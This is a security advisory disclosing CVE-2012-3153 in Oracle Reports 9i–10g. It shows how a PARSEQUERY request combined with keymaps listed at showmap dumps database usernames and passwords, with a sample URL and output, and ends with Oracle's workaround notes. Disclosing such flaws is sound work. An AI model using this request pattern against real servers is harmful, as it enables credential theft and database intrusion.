Oracle Forms And Reports Database Disclosure

                							

                PARSEQUERY

http://docs.oracle.com/cd/E16764_01/bi.1111/b32121/pbr_cla007.htm#i640592

Description

Use PARSEQUERY to parse an rwservlet query and display the constructed Reports Server command line.

Syntax

http://your_webserver/reports/rwservlet/parsequery[?][server=server_name][&authid=username/password]

CVE-2012-3153

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-3153

Oracle Reports Developer – Version 9.0.2.0 to 10.1.2.3 [Release 9i to 10gr2]

Information in this document applies to any platform.
9iAS, 9iDS, 10G (DS and AS), and 10G AS Reports/Forms Standalone Installation

An undocumented function of the PARSEQUERY function allows you to take keymaps that are located in /reports/rwservlet/showmap and add them to the query which will allow you to dump the database passwords.

http://server:port/reports/rwservlet/parsequery?<keymap>

Results

•Original Query String(GET) :

<keymap>

•Result Reports Server Command Line

expiredays=0 report=”<keymap>.rdf” jobname=”<keymap>.rdf” desformat=HTML authid=RWUser/ destype=cache userid=account/password@database

An exploit could be written to first check the showmap file and parse the non default keymaps then run queries to grab credentials that could then be used to access various applications and/or databases.

Default keymap values that do not return passwords

barcodepaper
barcodeweb
breakbparam
charthyperlink_ias
charthyperlink_ids
distributionpaper
express
orqa
parmformjsp
pdfenhancements
report_defaultid
report_secure
run
runp
tutorial
xmldata
Any other keymap on an unpatched server should return usernames/passwords including the name of the database.

From Oracle

1) Please include references to the MOS notes that provide workarounds

for 10g in your publication. These are:

CVE-2012-3153: https://support.oracle.com/rs?type=doc&id=279683.1 and

https://support.oracle.com/rs?type=doc&id=260243.1

2) Please recommend to customers still using 10g that they upgrade to

11g.

3) Also, please note in your publication that 10g is currently not

supported.


<p>